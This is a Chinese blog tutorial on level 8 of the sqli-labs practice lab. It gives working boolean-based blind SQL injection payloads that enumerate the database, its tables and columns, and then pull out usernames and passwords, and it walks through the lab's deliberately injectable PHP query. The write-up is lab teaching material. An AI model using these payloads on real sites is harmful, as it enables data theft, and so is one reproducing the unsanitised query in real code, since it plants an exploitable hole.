sqli-labs-master第八关

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、Less-8
  • 分析下源码中的函数
  • 总结


前言

本篇会介绍到一些php函数和SQL语句


一、Less-8

?id=1

在这里插入图片描述
尝试加入单引号或双引号

?id=1'
?ic=1"

发现都不会报错,但加入单引号后返回页面有所差异
在这里插入图片描述
这里应该是把报错关闭了,我们可以查看源码在这里插入图片描述
error_reporting(0);关闭错误报告
在这里插入图片描述
我们可以看到mysql_error()函数这一行被注释掉了
mysql_error()函数用于返回上一条SQL语句出现的错误
既然被注释掉了,那我们只能另寻他法
首先先确定注入格式

?id=1'and 1=1--+
?id=1'and 1=2--+

上述两条语句返回结果不同,从而确定注入格式是:
?id=1’ payload --+
这里因为正确的语句和错误的语句返回的结果不同,所以我们可以尝试基于布尔的盲注
在正式开始前先介绍一个要用到的函数

ascii()将参数转换为ascii
substring(str,pos,len)将str字符转中的字符从第pos位开始,共截取len位并返回

判断当前库名第一个字母是否为s

?id=1'and ascii(substring(database(),1,1))=115--+

在这里插入图片描述
成功返回,说明and之后的语句是true,所以当前库名首字母是s
我们通过调整substring()函数的第二个参数的值来获取库名的完整内容
注意:当某个位置的字符的ascii等于0,说明此处已经没有字母了
通过一系列实验我们最终得出当前库名为seurity
接着爆表

?id=1'and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0--+

在这里插入图片描述
通过一系列尝试最终得到101也就是e
通过调整limit 和substring()来获得所有的信息
接着爆列

?id=1'and ascii(substring((select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),1,1))>0--+

爆库

?id=1'and ascii(substring((select id from users limit 0,1),1,1))>0--+
?id=1'and ascii(substring((select password from users limit 0,1),1,1))>0--+
?id=1'and ascii(substring((select username from users limit 0,1),1,1))>0--+

此次sql注入之旅就此结束
由于这种爆库需要的时间真的是非常长,所以我们一般用sqlmap快速进行哦~~

分析下源码中的函数

在这里插入图片描述
非常多啊,我们只看<?php
?>之间的函数哈,这些之外的都是一些html代码,是用来修改浏览器页面样子的,我们无需关心
我们一点一点看哈

//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables

include()想必大家应该都知道,包含一个文件
error_reporting(0);关闭错误报告
此函数也是导致我们在此题中无法使用报错注入的原因

if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

isset()若参数为非零非空值则返回true,否则返回false
$_GET[‘id’]返回通过get方法获取到的值

fopen()函数打开一个文件或URL,此处的a代表以写入的方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之
在这里fopen()便创建了一个名为result.txt的文件在当前路径下也就是Less-8下

fwrite()向指定文件写入东西

fclose()关闭一个打开的文件

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

敲黑板

SELECT * FROM users WHERE id='$id' LIMIT  0,1

sql语句就是因为这里的id=’$id’我们在构造语句的时候才要加个 ’ 单引号用以闭合掉前面的 ’ 单引号
mysql_query()若参数是查询之类的语句,则返回的是查询到的资源,若放的是增删查改之类的语句,则返回的是true或false

mysql_fetch_array()函数从结果集中取地一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得得行生成得数组,如果没有更多行则返回false
这么听起来比较绕口啊,在这里,我理解的是,弱国mysql_query 查到了资源则返回这些资源得集合,若没查到,则返回false,我也不知道理解的对不对啊,大家有什么其他的想法一定要联系我呀QQ:1679421771

if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
到了这里已经基本结束了 如果$row中有资源,则打印You are in.........也就是当我们在诸如过程中如果语句正确则返回的信息 echo 打印字符串 如果$row的值是false则什么都不返回

总结

我们玩这个游戏的时候,应该不仅仅了解和掌握每种攻击方法,更需要知道为什么要用这种方法
切记学习之路,少就是多,慢就是快
于我而言,是不是每天都学了远远要比每天学了多少要重要


更多相关内容:请点击查看